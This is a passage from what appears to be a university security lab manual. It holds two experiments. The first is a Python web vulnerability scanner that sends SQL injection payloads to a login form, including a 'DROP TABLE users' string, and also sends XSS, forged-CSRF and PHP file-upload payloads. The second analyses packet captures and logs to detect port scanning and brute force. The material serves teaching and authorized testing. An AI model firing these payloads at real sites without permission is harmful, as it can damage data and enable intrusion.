{"username": "admin' OR 1=1--", "password": "password"},
{"username": "admin' OR '1'='1", "password": "password"},
{"username": "admin'; DROP TABLE users; --", "password": "password"},
{"username": "admin' UNION SELECT 1,2,3,4,5--", "password": "password"}
]

vulnerable = False
for payload in payloads:
try:
response = self.session.post(login_url, data=payload, timeout=self.timeout)

# Check for potential SQL injection indicators


indicators = [
"SQL syntax",
"mysql_fetch",
"ORA-",
"syntax error",
"PostgreSQL",
"Access denied"
]

# Look for error messages or successful login without credentials


for indicator in indicators:
if indicator.lower() in response.text.lower():
self.log(f"SQL Injection vulnerability found with payload: {payload}",
"SUCCESS")
self.log(f"Indicator found: {indicator}", "SUCCESS")
vulnerable = True
break

# Check if login was successful unexpectedly


if "welcome" in response.text.lower() or "dashboard" in response.text.lower() or
"admin" in response.text.lower():
self.log(f"Potential SQL Injection vulnerability found - login bypass with:
{payload}", "SUCCESS")
vulnerable = True

except (ConnectionError, Timeout, RequestException) as e:


self.log(f"Error testing SQL injection: {str(e)}", "ERROR")

if not vulnerable:
self.log("No SQL Injection vulnerabilities detected", "INFO")

return vulnerable

def test_xss(self, input_url=None):


"""Test for Cross-Site Scripting vulnerabilities"""
if input_url is None:
input_url = urljoin(self.target_url, "/search")

self.log(f"Testing XSS vulnerabilities on {input_url}")

# Various XSS payloads


payloads = [
"<script>alert('XSS')</script>",
"<img src='x' onerror='alert(\"XSS\")'>",
"<body onload='alert(\"XSS\")'>",
"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";"
+ "alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--
"
+ "</SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>"
]

vulnerable = False
for payload in payloads:
try:
# Test both GET and POST methods
get_response = self.session.get(input_url, params={"q": payload},
timeout=self.timeout)
post_response = self.session.post(input_url, data={"q": payload},
timeout=self.timeout)

for response in [get_response, post_response]:


# Check if the payload is reflected in the response without encoding
if payload in response.text:
self.log(f"XSS vulnerability found with payload: {payload}", "SUCCESS")
vulnerable = True
break

# Check if the script tag is present in the response


if "<script>" in payload.lower() and "<script>" in response.text.lower():
self.log(f"Potential XSS vulnerability found with payload: {payload}",
"SUCCESS")
vulnerable = True
break

except (ConnectionError, Timeout, RequestException) as e:


self.log(f"Error testing XSS: {str(e)}", "ERROR")

if not vulnerable:
self.log("No XSS vulnerabilities detected", "INFO")

return vulnerable

def test_csrf(self, action_url=None):


"""Test for Cross-Site Request Forgery vulnerabilities"""
if action_url is None:
action_url = urljoin(self.target_url, "/change-password")

self.log(f"Testing CSRF vulnerabilities on {action_url}")

vulnerable = False
try:
# First, make a GET request to find any CSRF tokens
get_response = self.session.get(action_url, timeout=self.timeout)

# Check if there's a CSRF token in the page


soup = BeautifulSoup(get_response.text, 'html.parser')
csrf_inputs = soup.find_all('input', attrs={'name': re.compile('csrf|token', re.I)})

if not csrf_inputs:
# Test a POST request without a token
data = {"password": "newpassword", "confirm_password": "newpassword"}
post_response = self.session.post(action_url, data=data, timeout=self.timeout)

# If the action succeeds without a token, potential CSRF vulnerability


success_indicators = ["success", "password changed", "updated"]
error_indicators = ["csrf", "token", "invalid", "missing"]

if any(indicator in post_response.text.lower() for indicator in success_indicators)


and \
not any(indicator in post_response.text.lower() for indicator in error_indicators):
self.log("CSRF vulnerability found - no CSRF token required for important
action", "SUCCESS")
vulnerable = True
else:
self.log("Action failed without CSRF token, but token not found in form -
possible custom protection", "INFO")
else:
self.log(f"CSRF token found: {csrf_inputs[0]['name']}", "INFO")

# Try with an invalid token


token_name = csrf_inputs[0]['name']
data = {"password": "newpassword", "confirm_password": "newpassword",
token_name: "fake_token"}
post_response = self.session.post(action_url, data=data, timeout=self.timeout)

# If the action succeeds with an invalid token, vulnerability exists


if "success" in post_response.text.lower() or "password changed" in
post_response.text.lower():
self.log("CSRF vulnerability found - invalid token accepted", "SUCCESS")
vulnerable = True

except (ConnectionError, Timeout, RequestException) as e:


self.log(f"Error testing CSRF: {str(e)}", "ERROR")

if not vulnerable:
self.log("No CSRF vulnerabilities detected", "INFO")

return vulnerable

def test_file_upload(self, upload_url=None):


"""Test for insecure file upload vulnerabilities"""
if upload_url is None:
upload_url = urljoin(self.target_url, "/upload")

self.log(f"Testing insecure file upload on {upload_url}")

# Create test files with different extensions


test_files = {
"malicious.php": "<?php echo 'This is a test PHP file for educational purposes only';
?>",
"malicious.php.jpg": "<?php echo 'Hidden PHP code in jpg file'; ?>",
"malicious.html": "<script>alert('XSS in uploaded HTML');</script>",
"malicious.js": "alert('Malicious JavaScript file');"
}

vulnerable = False
temp_dir = "temp_upload_files"

try:
# Create temporary directory for test files
os.makedirs(temp_dir, exist_ok=True)

for filename, content in test_files.items():


file_path = os.path.join(temp_dir, filename)

# Create the test file


with open(file_path, 'w') as f:
f.write(content)

# Try uploading the file


with open(file_path, 'rb') as f:
try:
files = {'file': (filename, f, 'application/octet-stream')}
response = self.session.post(upload_url, files=files, timeout=self.timeout)

# Check for successful upload indicators


success_indicators = ["upload successful", "file uploaded", "success"]
if any(indicator in response.text.lower() for indicator in success_indicators):
self.log(f"Potentially insecure file upload - {filename} was accepted",
"SUCCESS")
vulnerable = True

# Try to find the uploaded file URL in the response


upload_path_match = re.search(r'(\/uploads\/[^\s"\'<>]+)', response.text)
if upload_path_match:
upload_path = upload_path_match.group(1)
file_url = urljoin(self.target_url, upload_path)

# Check if the file is accessible and executable


file_response = self.session.get(file_url, timeout=self.timeout)
if file_response.status_code == 200:
self.log(f"Uploaded file is accessible at: {file_url}", "SUCCESS")

# For PHP files, check if they're being executed


if filename.endswith('.php') and "test PHP file" in file_response.text:
self.log("PHP file was executed! Critical vulnerability!",
"SUCCESS")

except (ConnectionError, Timeout, RequestException) as e:


self.log(f"Error uploading {filename}: {str(e)}", "ERROR")

except Exception as e:
self.log(f"Error in file upload test: {str(e)}", "ERROR")

finally:
# Clean up temporary files
for filename in test_files:
file_path = os.path.join(temp_dir, filename)
if os.path.exists(file_path):
os.remove(file_path)

if os.path.exists(temp_dir):
try:
os.rmdir(temp_dir)
except:
pass

if not vulnerable:
self.log("No insecure file upload vulnerabilities detected", "INFO")

return vulnerable

def scan_all(self):
"""Run all vulnerability tests"""
results = {
"SQL Injection": self.test_sql_injection(),
"XSS": self.test_xss(),
"CSRF": self.test_csrf(),
"Insecure File Upload": self.test_file_upload()
}

print("\n--- Vulnerability Scan Results ---")


for vuln_type, is_vulnerable in results.items():
status = "VULNERABLE" if is_vulnerable else "SECURE"
print(f"{vuln_type}: {status}")

return results

def main():
parser = argparse.ArgumentParser(description='Web Application Vulnerability Scanner')
parser.add_argument('url', help='Target URL to scan')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds')
parser.add_argument('--verbose', action='store_true', help='Enable verbose output')

# Add specific test arguments


parser.add_argument('--sql', action='store_true', help='Test for SQL injection only')
parser.add_argument('--xss', action='store_true', help='Test for XSS only')
parser.add_argument('--csrf', action='store_true', help='Test for CSRF only')
parser.add_argument('--upload', action='store_true', help='Test for insecure file upload
only')
args = parser.parse_args()

# Validate URL format


if not args.url.startswith(('http://', 'https://')):
print("Error: URL must start with http:// or https://")
return

print("=" * 60)
print("WARNING: This tool is for educational purposes and authorized testing only.")
print("Using this tool against websites without permission may be illegal.")
print("=" * 60)
print()

scanner = VulnerabilityScanner(args.url, args.timeout, args.verbose)

# If no specific tests are selected, run all tests


if not any([args.sql, args.xss, args.csrf, args.upload]):
scanner.scan_all()
else:
if args.sql:
scanner.test_sql_injection()
if args.xss:
scanner.test_xss()
if args.csrf:
scanner.test_csrf()
if args.upload:
scanner.test_file_upload()

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nScan interrupted by user.")
sys.exit(0)
except Exception as e:
print(f"An error occurred: {str(e)}")
sys.exit(1)

Sample Input and Output


1. SQL Injection
Input:
• username: admin' OR 1=1--
• password: password
Output:
plaintext
Copy code
SQL Injection vulnerability found!

2. XSS
Input:
• query: <script>alert('XSS')</script>
Output:
plaintext
Copy code
XSS vulnerability found!

3. CSRF
Input:
• password: newpassword
• csrf_token: fake_token
Output:
plaintext
Copy code
CSRF vulnerability found!

4. Insecure File Upload


Input:
• File: malicious.php (contains a simple PHP script)
Output:
plaintext
Copy code
Insecure file upload vulnerability found!

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
These vulnerabilities can expose web applications to attacks, allowing attackers to steal data
or execute unauthorized actions.
Ex no: Analyze network logs and packet captures to investigate security
incidents.
Date:

Aim

The aim of this experiment is to analyze network logs and packet captures to investigate
security incidents such as potential attacks, unauthorized access, or suspicious activity on a
network. This process helps in identifying the cause of security breaches and mitigating risks.

Procedure
1. Capture Network Traffic:
o Use Wireshark or Scapy to capture network traffic.
o Capture packets from the network for a specific time period or filter packets by
protocol, IP address, or port.

2. Filter Relevant Packets:


o Apply filters to focus on specific protocols (e.g., HTTP, FTP, DNS) and
exclude unnecessary packets.
o Look for suspicious patterns, like unusual traffic spikes, large data transfers, or
specific types of requests that could indicate an attack.

3. Analyze Packet Data:


o Examine packet details for anomalies (e.g., unusual payload sizes, malformed
packets, or abnormal protocol behaviors).
o Look for signs of attack such as DDoS, port scanning, or abnormal
connections to specific IP addresses.

4. Analyze Network Logs:


o Parse network logs (e.g., firewall logs, web server logs, or IDS logs) using
Python for easier analysis.
o Look for log entries indicating suspicious activity, such as failed login
attempts, unusual request patterns, or system alerts.

5. Correlate Logs and Packet Captures:


o Match packets captured from the network with log entries to correlate events.
o For example, correlate a failed login attempt (logged in the system logs) with a
suspicious network packet (such as an attempted SQL injection or brute-force
login attempt).
Program :
import scapy.all as scapy
import pandas as pd
import re
import matplotlib.pyplot as plt
from datetime import datetime
import os

class NetworkSecurityAnalyzer:
def __init__(self):
"""Initialize the Network Security Analyzer tool"""
self.packet_data = []
self.log_data = []

def capture_packets(self, filter_rule="tcp", count=100, interface=None):


"""
Capture network packets using Scapy

Args:
filter_rule: BPF filter string (e.g., "tcp", "port 80", "host 192.168.1.1")
count: Number of packets to capture
interface: Network interface to capture from (None for default)

Returns:
DataFrame containing captured packet information
"""
print(f"Capturing {count} packets with filter: {filter_rule}...")

# Capture packets
packets = scapy.sniff(count=count, filter=filter_rule, iface=interface)

# Process each packet


for i, packet in enumerate(packets):
packet_info = {
"id": i,
"timestamp": datetime.fromtimestamp(float(packet.time)),
"length": len(packet),
}

# Extract IP information if present


if scapy.IP in packet:
packet_info.update({
"src_ip": packet[scapy.IP].src,
"dst_ip": packet[scapy.IP].dst,
"protocol": packet[scapy.IP].proto
})

# Extract TCP information if present


if scapy.TCP in packet:
packet_info.update({
"src_port": packet[scapy.TCP].sport,
"dst_port": packet[scapy.TCP].dport,
"tcp_flags": self._get_tcp_flags(packet[scapy.TCP].flags)
})

# Look for possible payload data


if packet.haslayer(scapy.Raw):
payload = packet[scapy.Raw].load
try:
packet_info["payload"] = payload.decode('utf-8', errors='ignore')
except:
packet_info["payload"] = "Binary data"

# Extract UDP information if present


elif scapy.UDP in packet:
packet_info.update({
"src_port": packet[scapy.UDP].sport,
"dst_port": packet[scapy.UDP].dport
})

self.packet_data.append(packet_info)

# Convert to DataFrame for easier analysis


packet_df = pd.DataFrame(self.packet_data)
print(f"Captured {len(packet_df)} packets successfully")
return packet_df

def _get_tcp_flags(self, flags):


"""Convert TCP flags to readable format"""
flag_meanings = []
if flags & 0x01: flag_meanings.append("FIN")
if flags & 0x02: flag_meanings.append("SYN")
if flags & 0x04: flag_meanings.append("RST")
if flags & 0x08: flag_meanings.append("PSH")
if flags & 0x10: flag_meanings.append("ACK")
if flags & 0x20: flag_meanings.append("URG")
return "+".join(flag_meanings) if flag_meanings else "None"

def parse_logs(self, log_file_path, log_type="generic"):


"""
Parse network logs from a file

Args:
log_file_path: Path to the log file
log_type: Type of log file (generic, apache, firewall)

Returns:
DataFrame containing parsed log entries
"""
print(f"Parsing logs from {log_file_path}...")

if not os.path.exists(log_file_path):
print(f"Error: Log file {log_file_path} does not exist")
return pd.DataFrame()
try:
with open(log_file_path, 'r') as f:
log_lines = f.readlines()
except Exception as e:
print(f"Error reading log file: {e}")
return pd.DataFrame()

# Different log types have different parsing patterns


if log_type == "apache":
pattern = r'(\S+) - - \[(.?)\] "(.?)" (\d+) (\d+)'
for line in log_lines:
match = re.search(pattern, line)
if match:
self.log_data.append({
"ip_address": match.group(1),
"timestamp": match.group(2),
"request": match.group(3),
"status_code": int(match.group(4)),
"bytes": int(match.group(5)),
"raw_entry": line.strip()
})

elif log_type == "firewall":


# Simple firewall log parsing (adjust to your specific format)
pattern = r'(\S+) (\S+) (\S+) (\S+)'
for line in log_lines:
if line.strip():
parts = line.strip().split()
if len(parts) >= 4:
self.log_data.append({
"timestamp": parts[0],
"action": parts[1],
"source": parts[2],
"destination": parts[3],
"raw_entry": line.strip()
})

else: # generic log format


for line in log_lines:
# Try to extract timestamp and categorize events
timestamp_match = re.search(r'(\d{4}-\d{2}-\d{2}.*?)[\s-]', line)
timestamp = timestamp_match.group(1) if timestamp_match else "Unknown"

event_type = "Other"
if "login" in line.lower() and "fail" in line.lower():
event_type = "Failed Login"
elif "login" in line.lower() and "success" in line.lower():
event_type = "Successful Login"
elif any(attack in line.lower() for attack in ["sql", "injection", "xss", "attack"]):
event_type = "Potential Attack"
self.log_data.append({
"timestamp": timestamp,
"event_type": event_type,
"raw_entry": line.strip()
})

# Convert to DataFrame
log_df = pd.DataFrame(self.log_data)
print(f"Parsed {len(log_df)} log entries successfully")
return log_df

def detect_port_scanning(self, packet_df, threshold=5):


"""
Detect potential port scanning activity

Args:
packet_df: DataFrame containing packet information
threshold: Minimum number of different ports from same source to consider as
scanning

Returns:
DataFrame containing potential port scanning sources
"""
if packet_df.empty or 'src_ip' not in packet_df.columns:
return pd.DataFrame()

# Group by source IP and count distinct destination ports


scanning_check = packet_df.groupby('src_ip')['dst_port'].nunique().reset_index()
scanning_check.columns = ['src_ip', 'ports_accessed']

# Filter sources that accessed more than threshold different ports


potential_scanners = scanning_check[scanning_check['ports_accessed'] >= threshold]

if not potential_scanners.empty:
print(f"WARNING: Detected {len(potential_scanners)} potential port scanners")

return potential_scanners

def detect_brute_force(self, log_df, threshold=3):


"""
Detect potential brute force login attempts from logs

Args:
log_df: DataFrame containing log entries
threshold: Minimum number of failed logins to consider as potential brute force

Returns:
DataFrame containing potential brute force sources
"""
if log_df.empty or 'event_type' not in log_df.columns:
return pd.DataFrame()
# Filter to failed login events
failed_logins = log_df[log_df['event_type'] == 'Failed Login']

if 'ip_address' in failed_logins.columns:
# Count failed logins by IP address
failed_counts = failed_logins.groupby('ip_address').size().reset_index()
failed_counts.columns = ['ip_address', 'failed_attempts']

# Filter IPs with more than threshold failed attempts


potential_brute_force = failed_counts[failed_counts['failed_attempts'] >= threshold]

if not potential_brute_force.empty:
print(f"WARNING: Detected {len(potential_brute_force)} potential brute force
sources")

return potential_brute_force

return pd.DataFrame()

def visualize_traffic(self, packet_df):


"""
Create visualizations of network traffic

Args:
packet_df: DataFrame containing packet information
"""
if packet_df.empty:
print("No data to visualize")
return

plt.figure(figsize=(12, 6))

# 1. Traffic by source IP
if 'src_ip' in packet_df.columns:
plt.subplot(1, 2, 1)
source_counts = packet_df['src_ip'].value_counts().head(10)
source_counts.plot(kind='bar')
plt.title('Top 10 Source IPs')
plt.xlabel('Source IP')
plt.ylabel('Packet Count')
plt.xticks(rotation=45)

# 2. Traffic by protocol
if 'protocol' in packet_df.columns:
plt.subplot(1, 2, 2)
proto_counts = packet_df['protocol'].value_counts()
proto_counts.plot(kind='pie', autopct='%1.1f%%')
plt.title('Traffic by Protocol')

plt.tight_layout()
plt.savefig('traffic_analysis.png')
print("Visualization saved as 'traffic_analysis.png'")
def correlate_events(self, packet_df, log_df):
"""
Correlate network packets with log entries based on timestamps and IPs

Args:
packet_df: DataFrame containing packet information
log_df: DataFrame containing log entries

Returns:
DataFrame containing correlated events
"""
correlated_events = []

if packet_df.empty or log_df.empty:
return pd.DataFrame()

# Ensure we have the necessary columns


if 'timestamp' not in packet_df.columns or 'timestamp' not in log_df.columns:
return pd.DataFrame()

# Extract IP addresses from logs if available


log_ips = []
for entry in log_df['raw_entry']:
ip_match = re.search(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b', entry)
if ip_match:
log_ips.append(ip_match.group(0))
else:
log_ips.append(None)

if log_ips:
log_df['extracted_ip'] = log_ips

# Look for matches between packets and logs


for _, log_row in log_df.iterrows():
log_time = log_row['timestamp']

# Find packets around the same time


time_window = 5 # seconds before and after log entry

# Handle different timestamp formats


if isinstance(log_time, str):
try:
log_time = datetime.strptime(log_time, '%Y-%m-%d %H:%M:%S')
except:
continue

# Check if packet and log timestamps are compatible


comparable_packets = []
for _, pkt_row in packet_df.iterrows():
pkt_time = pkt_row['timestamp']
time_diff = abs((pkt_time - log_time).total_seconds()) if hasattr(pkt_time,
'total_seconds') else 999

if time_diff <= time_window:


comparable_packets.append(pkt_row)

# Check for IP matches in these packets


for pkt in comparable_packets:
ip_match = False

if 'extracted_ip' in log_df.columns and log_row['extracted_ip']:


if 'src_ip' in pkt and pkt['src_ip'] == log_row['extracted_ip']:
ip_match = True
elif 'dst_ip' in pkt and pkt['dst_ip'] == log_row['extracted_ip']:
ip_match = True

# If we found a time and IP match


if ip_match:
correlated_events.append({
'timestamp': log_row['timestamp'],
'log_entry': log_row['raw_entry'],
'packet_src': pkt.get('src_ip', 'Unknown'),
'packet_dst': pkt.get('dst_ip', 'Unknown'),
'packet_info': f"Length: {pkt.get('length', 'Unknown')}, Protocol:
{pkt.get('protocol', 'Unknown')}"
})

correlated_df = pd.DataFrame(correlated_events)
print(f"Found {len(correlated_df)} correlated events")
return correlated_df

def generate_security_report(self, packet_df, log_df, output_file="security_report.txt"):


"""
Generate a comprehensive security report based on analysis

Args:
packet_df: DataFrame containing packet information
log_df: DataFrame containing log entries
output_file: Path to save the report
"""
if packet_df.empty and log_df.empty:
print("No data to generate report")
return

report = []
report.append("=== NETWORK SECURITY ANALYSIS REPORT ===")
report.append(f"Generated on: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
report.append("=" * 40)

# 1. Traffic Summary
if not packet_df.empty:
report.append("\n1. TRAFFIC SUMMARY")
report.append(f" Total Packets Analyzed: {len(packet_df)}")

if 'protocol' in packet_df.columns:
protocol_counts = packet_df['protocol'].value_counts()
report.append(" Protocol Distribution:")
for proto, count in protocol_counts.items():
report.append(f" - {proto}: {count} packets
({count/len(packet_df)*100:.1f}%)")

if 'src_ip' in packet_df.columns:
top_sources = packet_df['src_ip'].value_counts().head(5)
report.append("\n Top 5 Source IPs:")
for ip, count in top_sources.items():
report.append(f" - {ip}: {count} packets")

# 2. Security Incident Detection


report.append("\n2. SECURITY INCIDENTS")

# Port scanning detection


if not packet_df.empty and 'src_ip' in packet_df.columns and 'dst_port' in
packet_df.columns:
port_scanners = self.detect_port_scanning(packet_df)
if not port_scanners.empty:
report.append("\n 2.1 Potential Port Scanning Activity:")
for _, row in port_scanners.iterrows():
report.append(f" - {row['src_ip']} accessed {row['ports_accessed']} different
ports")
else:
report.append("\n 2.1 No port scanning activity detected")

# Brute force detection from logs


if not log_df.empty and 'event_type' in log_df.columns:
brute_force = self.detect_brute_force(log_df)
if not brute_force.empty:
report.append("\n 2.2 Potential Brute Force Attempts:")
for _, row in brute_force.iterrows():
report.append(f" - {row['ip_address']}: {row['failed_attempts']} failed login
attempts")
else:
report.append("\n 2.2 No brute force attempts detected")

# 3. Correlated Events
if not packet_df.empty and not log_df.empty:
correlated = self.correlate_events(packet_df, log_df)
if not correlated.empty:
report.append("\n3. CORRELATED EVENTS")
report.append(" Network packets with matching log entries:")
for i, row in correlated.head(10).iterrows(): # Show top 10
report.append(f"\n Event {i+1}:")
report.append(f" - Time: {row['timestamp']}")
report.append(f" - Log: {row['log_entry']}")
report.append(f" - Packet: {row['packet_src']} → {row['packet_dst']}")
report.append(f" - Details: {row['packet_info']}")

if len(correlated) > 10:


report.append(f"\n ... and {len(correlated) - 10} more correlated events")
else:
report.append("\n3. No correlated events found")

# 4. Recommendations
report.append("\n4. RECOMMENDATIONS")
if not packet_df.empty or not log_df.empty:
if not packet_df.empty and 'src_ip' in packet_df.columns:
unusual_ips = packet_df['src_ip'].value_counts().tail(3).index.tolist()
if unusual_ips:
report.append(" - Monitor these uncommon source IPs for suspicious activity:")
for ip in unusual_ips:
report.append(f" * {ip}")

report.append(" - Regular security monitoring and analysis is recommended")


report.append(" - Update firewall rules based on identified threats")
report.append(" - Implement rate limiting for login attempts")
else:
report.append(" - Insufficient data for specific recommendations")

# Write report to file


with open(output_file, 'w') as f:
f.write('\n'.join(report))

print(f"Security report generated and saved to {output_file}")


return '\n'.join(report)

# Example usage of the tool


def main():
# Initialize the analyzer
analyzer = NetworkSecurityAnalyzer()

# Option 1: Live packet capture


try:
packet_df = analyzer.capture_packets(filter_rule="tcp", count=50)
print("\nSample captured packets:")
print(packet_df.head())
except Exception as e:
print(f"Error during packet capture: {e}")
print("Using sample packet data instead")

# Create sample packet data for demonstration


packet_df = pd.DataFrame({
'id': range(10),
'timestamp': [datetime.now() for _ in range(10)],
'src_ip': ['192.168.1.5', '192.168.1.10', '192.168.1.5', '192.168.1.20', '192.168.1.30',
'192.168.1.10', '192.168.1.40', '192.168.1.5', '192.168.1.60', '192.168.1.10'],
'dst_ip': ['192.168.1.1', '192.168.1.1', '192.168.1.1', '192.168.1.2', '192.168.1.1',
'192.168.1.2', '192.168.1.1', '192.168.1.2', '192.168.1.1', '192.168.1.1'],
'protocol': [6, 6, 6, 17, 6, 6, 6, 6, 17, 6], # 6=TCP, 17=UDP
'src_port': [45123, 46234, 45124, 53, 46235, 46236, 45125, 45126, 53, 46237],
'dst_port': [80, 80, 443, 53, 22, 443, 23, 80, 53, 21],
'length': [64, 128, 256, 76, 60, 128, 64, 128, 76, 60]
})

# Option 2: Parse log files


# For testing, create a sample log file
with open('sample_network.log', 'w') as f:
f.write("""2024-12-18 10:15:01 - Failed login attempt from 192.168.1.10
2024-12-18 10:15:15 - Failed login attempt from 192.168.1.10
2024-12-18 10:15:30 - Failed login attempt from 192.168.1.10
2024-12-18 10:17:30 - Successful login from 192.168.1.20
2024-12-18 10:19:45 - SQL Injection attempt from 192.168.1.60
2024-12-18 10:25:12 - System update started
2024-12-18 10:30:45 - Firewall blocked connection from 203.0.113.5
2024-12-18 10:31:22 - Failed login attempt from 192.168.1.10
2024-12-18 10:35:08 - User account locked for 192.168.1.10
2024-12-18 10:40:15 - Successful login from 192.168.1.5""")

log_df = analyzer.parse_logs('sample_network.log')
print("\nSample parsed logs:")
print(log_df.head())

# Detect security incidents


port_scanners = analyzer.detect_port_scanning(packet_df, threshold=3)
brute_force = analyzer.detect_brute_force(log_df, threshold=3)

# Correlate events
correlated = analyzer.correlate_events(packet_df, log_df)

# Generate visualization
try:
analyzer.visualize_traffic(packet_df)
except Exception as e:
print(f"Error generating visualization: {e}")
# Generate security report
report = analyzer.generate_security_report(packet_df, log_df)
print("\nSecurity Report Preview:")
print("\n".join(report.split("\n")[:15]) + "\n...(report continues)")

if __name__ == "__main__":
main()

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
The experiment has been successfully conducted by analyzing network logs and packet
captures.

You might also like